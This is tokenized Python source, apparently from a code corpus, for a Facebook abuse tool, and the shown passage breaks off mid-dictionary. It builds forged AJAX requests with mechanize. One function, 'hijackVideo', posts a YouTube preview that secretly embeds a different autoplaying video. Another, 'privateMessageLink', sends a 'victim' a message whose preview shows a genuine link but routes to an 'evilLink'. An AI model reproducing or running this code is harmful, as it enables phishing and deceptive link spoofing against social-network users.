"\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "h", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "580", "748", "986", "5", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "116", "124", "3", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "update", "status", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "()'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "()", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hij", "ack", "Video_", "(_", "video", "Link_", ",_", "title_", ",_", "summary_", ",_", "comment_", ",_", "video", "ID_", ",_", "hij", "acke", "d", "Video_", ",_", "privacy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "session", "\\u", "id", "'_", ":_", "'", "8c", "4e", "1f", "a6", "-", "5f", "1f", "-", "4c", "16", "-", "b3", "9", "3", "-", "5c", "1a", "b4", "c3", "802", "b", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "context", "'_", ":_", "'", "profile", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "isme", "ta", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "timeline", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "composer", "id", "'_", ":_", "'", "u\\u", "0", "\\u", "23", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "targeti", "d", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cl", "p", "'_", ":_", "'{", "\"", "cl", "\\u", "imp", "id", "\":\"", "4b", "4a", "836", "9", "\",\"", "clear", "counter", "\":", "0", ",\"", "element", "id", "\":\"", "u\\u", "0", "\\u", "2h", "\",\"", "version", "\":\"", "x", "\",\"", "parent", "\\u", "fb", "id", "\":", "'_", "+_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "\\u", "text", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "akt", "ion", "'_", ":_", "'", "post", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "'", "230", "986", "977", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "canonical", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "final", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "user", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "fav", "icon", "]'_", ":_", "'", "http", "://", "s", ".", "yti", "mg", ".", "com", "/", "yt", "s", "/", "img", "/", "fav", "icon", "\\u", "32", "-", "vf", "l", "Wo", "MF", "Gx", ".", "png", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "title", "]'_", ":_", "str_", "(_", "title_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "summar", "y", "]'_", ":_", "str_", "(_", "summary_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "images", "][", "0", "]'_", ":_", "'", "http", "://", "i2", ".", "yti", "mg", ".", "com", "/", "vi", "/'_", "+_", "video", "ID_", "+_", "'/", "mq", "default", ".", "jp", "g", "?", "feature", "=", "og", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "medium", "]'_", ":_", "'", "103", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "type", "]'_", ":_", "'", "applica", "tion", "/", "x", "-", "shock", "wave", "-", "flash", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "src", "]'_", ":_", "'", "http", "://", "www", ".", "youtu", "be", ".", "com", "/", "v", "/'_", "+_", "str_", "(_", "hij", "acke", "d", "Video_", ")_", "+_", "'?", "version", "=", "3", "&", "auto", "hide", "=", "1", "&", "autop", "lay", "=", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "widt", "h", "]'_", ":_", "'", "1920", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "height", "]'_", ":_", "'", "1080", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "safe", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "type", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "source", "]'_", ":_", "'", "Share", "Stage", "Exter", "nal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "domain", "]'_", ":_", "'", "www", ".", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "base", "\\u", "domain", "]'_", ":_", "'", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "title", "\\u", "len", "]'_", ":_", "str_", "(_", "len_", "(_", "title_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "summar", "y", "\\u", "len", "]'_", ":_", "str_", "(_", "len_", "(_", "summary_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "6", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "6", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "with", "\\u", "dimension", "s", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "pend", "ing", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "fetched", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "1920", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "1080", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "selecte", "d", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "consider", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "cap", "]'_", ":_", "'", "10", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "type", "]'_", ":_", "'", "images", "\\u", "array", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "w", "]'_", ":_", "'", "154", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "h", "]'_", ":_", "'", "154", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "image", "\\u", "selecte", "d", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "provided", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "load", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "shown", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "load", "\\u", "duration", "]'_", ":_", "'", "118", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "timed", "\\u", "out", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "sort", "\\u", "order", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "select", "or", "\\u", "type", "]'_", ":_", "'", "UI", "Thumb", "Page", "r", "\\u", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "year", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "month", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "day", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "hour", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "minute", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "explicit", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "\\u", "name", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tagger", "\\u", "session", "\\u", "id", "'_", ":_", "'", "139", "966", "318", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "type", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "str", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "location", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hide", "\\u", "object\\u", "attach", "ment", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "suggestion", "\\u", "mechanism", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disable", "\\u", "location", "\\u", "shar", "ing", "'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "predi", "cte", "d\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "value", "]'_", ":_", "str_", "(_", "privacy", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nct", "r", "[\\u", "mod", "]'_", ":_", "'", "page", "let", "\\u", "timeline", "\\u", "recent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "j", "EA", "MB", "ly", "nz", "p", "Q", "9", "U", "o", "Gy", "a4", "Cq", "7", "p", "Es", "x6", "i", "WF", "2", "9", "a", "GE", "Z", "9", "4", "Wp", "Up", "Bx", "CF", "a", "G", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "289", "1135", "410", "973", "557", "553", "5", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "124", "176", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "update", "status", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "You", "tube", "()'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "You", "tube", "()", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "private", "Messag", "e", "Link_", "(_", "message_", ",_", "victim", "_", ",_", "subject_", ",_", "real", "Link_", ",_", "title_", ",_", "summary_", ",_", "image", "Link_", ",_", "evil", "Link_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "action", "\\u", "type", "]'_", ":_", "'", "ma", "-", "type", ":", "user", "-", "generat", "ed", "-", "message", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "thread", "\\u", "id", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "\\u", "email", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "]'_", ":_", "str_", "(_", "int_", "(_", "time_", "(_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "abs", "olute", "]'_", ":_", "'", "Today", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "relative", "]'_", ":_", "get", "Time_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "time", "\\u", "pass", "ed", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "unread", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "clear", "ed", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "forward", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "spoo", "f", "\\u", "warn", "ing", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "source", "]'_", ":_", "'", "source", ":", "titan", ":", "web", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "body", "]'_", ":_", "message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "has", "\\u", "attach", "ment", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "html", "\\u", "body", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "0", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "victim", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "subject", "]'_", ":_", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "app", "\\u", "id", "]'_", ":_", "'", "230", "986", "977", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "canonical", "]'_", ":_", "real", "Link_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "final", "]'_", ":_", "real", "Link_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "user", "]'_", ":_", "evil", "Link_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "fav", "icon", "]'_", ":_", "real", "Link_", "+_", "'/", "fav", "icon", ".", "ico", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "title", "]'_", ":_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "summar", "y", "]'_", ":_", "summary_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "images", "][", "0", "]'_", ":_", "image", "Link_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "medium", "]'_", ":_", "'", "106", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "]'_", ":_", "real", "Link_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "type", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "source", "]'_", ":_", "'", "Share", "Stage", "Exter", "nal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "domain", "]'_", ":_", "real", "Link_", "._", "strip_", "(_", "'", "https", "://'_", ")_", "._", "strip_", "(_", "'/'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "base", "\\u", "domain", "]'_", ":_", "real", "Link_", "._", "strip_", "(_", "'", "https", "://", "www", ".'_", ")_", "._", "strip_", "(_", "'/'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "title", "\\u", "len", "]'_", ":_", "'", "3", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "summar", "y", "\\u", "len", "]'_", ":_", "'", "3", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "min", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "min", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "with", "\\u", "dimension", "s", "]'_", ":_", "'", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "pend", "ing", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "fetched", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "image", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "322", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "image", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "selecte", "d", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", 